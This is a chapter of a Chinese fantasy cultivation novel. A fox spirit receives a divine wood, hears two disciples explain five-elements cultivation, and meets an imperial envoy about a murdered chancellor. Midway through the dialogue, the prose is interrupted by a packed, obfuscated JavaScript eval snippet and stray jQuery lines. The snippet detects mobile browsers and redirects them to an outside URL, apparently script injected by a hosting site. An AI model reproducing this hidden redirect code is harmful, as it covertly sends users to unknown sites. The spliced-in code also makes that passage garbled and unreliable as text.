星光难觅,月影无踪,夜色如幕。
榻上的火红狐狸蜷成一团球,尾巴紧紧环绕,耳朵向后紧紧贴在脑袋上,耳尖微颤。
绥绥被溺在梦境里,向无限深的暗渊里坠落。
突然好像有一只柔软的大水母接住了她,变成温绵绵的云朵,裹住被遗弃的狐狸,妥帖稳当。
“找到了……”
朦胧中,低沉暗哑的男声伴着外来的温潮热意卷进她的耳内……和意识。
她鼻子突然一痒,惊醒,抬头。一张漂亮的笑眯眯的脸映入眼帘,是她千呼万唤不出来的百里千川。
小狐狸猛地往后一弹。
百里千川一如既往勾着笑,“哎呀呀,吓死个狐狸了?”
小狐狸抖了抖毛,想砍他,“在这儿好好的吓狐狸!先前叫你怎么叫不出来!跑哪儿去了?”
百里千川眨眨漂亮的桃花眼,显得无辜,“不是看你不信我么,这不,给你去寻宝贝了。”
他不待绥绥追问,从袖中神神秘秘地取出一物,金色光芒流转,隐隐有海啸龙吟之声,自上古而来。
“这是什么?”
他倏然俯下身,凑近小狐狸,压低声音,“琅嬛神木,生于现实与虚妄的交界之处,极北的溟涬海上。”
狐狸歪头,奇怪道,“木头,用来烧出琉璃火还他们的?”
他瞪眼,表示不满道,“都说了是宝贝!神器!镇罪七弦琴。”
“我与看守的神兽缠斗十天十夜才拿到这一块!”
狐狸不屑地甩尾巴,“这才一个晚上……骗谁呢你?”
他好整以暇地直起身,“唰”地一声、不知从哪来的一把墨色折扇倏然展开在他的手中,倒有三分偏偏君子、七分风流人物的韵味。
这红衣君子摇着扇,缓缓道,“错,虚妄和现实的交界时间是扭曲紊乱的。有时海面瞬息,三界一年;有时海面百日,三界一夜。运气好,这次不是海面十日,三界百年。”
狐狸伸出前爪敲了敲面前的神木,流光顿时四散,她没有感到什么特别的力量,“这似乎只是块木头。会发光的木头。”
“错,这是琴身!”这折扇向下一扣,又收了回去,像是说书先生说到点子上的惊堂木一般,即将敲下去。
“这是未来的镇罪七弦琴的琴身。它会让你成为天道化身。”但这惊堂木“啪嗒”一声,不轻不重地拍在了不老实的狐狸爪上。
绥绥不服气地轻声嘟囔,“天道化身?”
百里千川哈哈一笑,抬起下巴,潋滟的桃花眼里此刻闪着拦不住的得意,“都说了,会让你拥有无上的力量。天道是三界的至高规则。”
他每一句都不主动说,像是故意吊起谁的胃口似的,一句一句等绥绥问。
狐狸蹙眉,“这好像只是一块木头,哪里像是琴,琴弦呢?”
“神木为琴身,而这琴弦需要你自己的机缘。”
折扇又“哗”地一下重新展开,他掩饰似的摇了两下,就不由分说地把这块流光的神木放在绥绥手上,好像担心她不认可一样。
“好好拿着,这肯定是好东西,不骗你的。”
“……”
“本座与神兽缠斗数日,要去好好休息了。”
红影一闪,莲痕微灼,瞬息又恢复平静。
绥绥望着这块看似沉默的神木,她确实感受到了来自上古的磅礴的力量,让她从方才令人心悸的梦境里感受到安适的清宁。
方才的那个梦境里,她好像在奔跑,跃过万海千山,她有若屏的九尾,只是前方没有止境没有终端。
最初,是一片鸿蒙混沌,她在无序中无拘无束。
然后,她感受到一切在光影交替中,开始流动。
她听见万物苏生,万象交响,风过林梢,山呼海应。
……
她渐渐听见,众生的声音。
最初,只是澄澈若露水的祈愿。
慢慢地,露珠凝落暗河。
哀恸的啜泣、破损的希冀、欣喜的哭泣、满足的喟叹、焚烧的欲望、灼烈的愤怒、恨意的诅咒。
混杂的情绪。
……
光明沉入黑暗。
冰冷的锁链,漆黑的荆棘,爬出深渊。
恶意刺穿她的身躯,永无止境的坠下去。
……
小黄莺疑惑,“哎哎。小狐狸,你怎么不会点火?”
绥绥也疑惑,“我应该会点火吗?”
季淑君轻笑一声道,“三界万物法则以五行为基,五行相连相携,相生相克。木火土金水,分时化育,以成万物。”
李传云清了清嗓子补充,“木尚仁,火契智,土守信,金怀义,水崇礼。五行之义,化育天伦。”
绥绥歪头,“没听懂,这有关联吗?”
季淑君:“正道修行万物的法则不是空中楼阁,一切都要建立于五行承负之上……”
李传云:“就是说,修仙的第一步,就是与五行相感应。”
绥绥点头明白,一边又好像突然想起什么似的,问:“李崇光教你们的这些?”
季淑君向她投去“你怎么知道的”眼神,
“有时候大师兄会代师父讲些义理之论。他虽话少,却总三言两句中能讲透彻。”
绥绥开始想李崇光给小孩子们讲入门第一课的样子,但他那时候想来也还是个小孩。
季淑君望着若有所思的少女,继续道:“天地为源本,被五行接纳之后,我们才能以身为引、借调天地的力量,吐故纳新,淬炼融合,最终修成与‘我’同序的真气……这就是一般而言的,修仙之术。”
“妖术也是这样的原理,只是我们是借调炼淬,而邪门歪道是吞噬掠夺。妖也可以选择的修仙之路……只是仙途漫漫。”
“妖并不是指物老成精怪,而是指堕入邪道的修炼者,如果是顺应修仙之理而走的,即便不是人族,也都是我仙门弟子。”
“总而言之,之后的各种剑道、法术,都是从此基础上延伸出来的。没有五行之理,便没有万物法度,即没有修仙之路。”
空气沉默片刻。
绥绥问道:“就没有什么例外吗?”
季淑君眯起眼认真想了想,回答道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816261|190898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“或许你的力量并不属于修仙一脉。”
她顿了顿,似乎是犹豫了一下,但最终还是继续道:“我听说神兽孕育于三界之外,介于虚实之间、因果的中点,司调衡之职。”
李传云加进来,严谨补充:“但这只是传说,上古的神话。谁也没有见过真正的神兽”
绥绥总是有很多问题,“三界为实,虚又在哪里呢?难道还有水面下倒映的看不见的另三界吗?”
淑君面色如常,没有回答这个她也疑惑过的问题,转到了方才未果的问题,“可你并不是普通的狐狸,也并非来源妖术。”
李传云压低声音,似是神秘道:“或许我们今天见到的就是神兽的一脉。”
淑君叹气,“只是没有神话或者史书说狐族继承了神兽的某支血脉。”
“没关系,我可以去给你找一本《修仙五行入门宝典》!”李传云眼睛一亮,像是忽然想到什么好点子。
淑君附和,“也许你可以学一学五行之术,就能点出你灭的琉璃火了。”
她的声音又恢复了轻快。
绥绥沉默,心中想,如果是她扑灭的琉璃火,那或许她能循因果点回这团火。但百里千川说,这团火被他吞了。
等等,吞了……
莫非他就是邪门歪道代言人的妖?
绥绥觉得自己发现了什么秘密。
或者根据因果规则,他可以把火吐出来也行。
倏然地,淑君低声提醒,“有人来了。”
李传云点了点头。
绥绥一抬头,只见凉亭之外的石阶上,赫然立着一队黑衣的带刀侍卫,为首的那人着一袭深紫蟒纹官袍,内廷制式。锐利的双目细长而上扬,面敷白粉,苍白的小指勾着手中拂尘的尾穗,像是块死去的木桩,却又被精致地篆刻,最终成了人的模样。
是一位地位极高的内廷太监。
“杂家,给诸位仙使问安。”尖细却不失恭敬的声音传来。苍白的木桩率先动了,僵硬地扯了扯嘴角,扬着手中拂尘,向前一步。
李传云、季淑君上前一步,回礼道,“不知天使驾临,有失远迎。”
深紫衣袍的内侍依旧站定,却将拂尘交予身后低头面地的随从,高抬双臂向西上方皇宫一礼,双手抬举间以极恭敬的动作。
只是他依旧敛目,未曾抬头,行恭而神不恭。
礼毕,他捻了捻衣角,标准的谦卑的拉长语调,“陛下口谕……”
原来是长安近日发生了一起命案,受害者是皇帝新拜的宰相。
皇帝震怒,敕令刑部、大理寺、都察院三司会审,限三日内查明此案。然三日期限降至,三司倾其所能,竟未查得半分蛛丝马迹。
刑部尚书只能一本奏章呈上,表明已竭尽所能,要么如血书所言自裁,要么便是妖物邪祟作乱。
皇城有正道大阵镇守,按理说,是不会有邪祟出没作乱。
只是奏折中言之凿凿,青冥弟子又恰在长安,皇帝便遣天使协查鬼魅妖邪。
还没等李传云和季淑君回答什么,绥绥之听见她的灵台里响起熟悉的声音,“去。”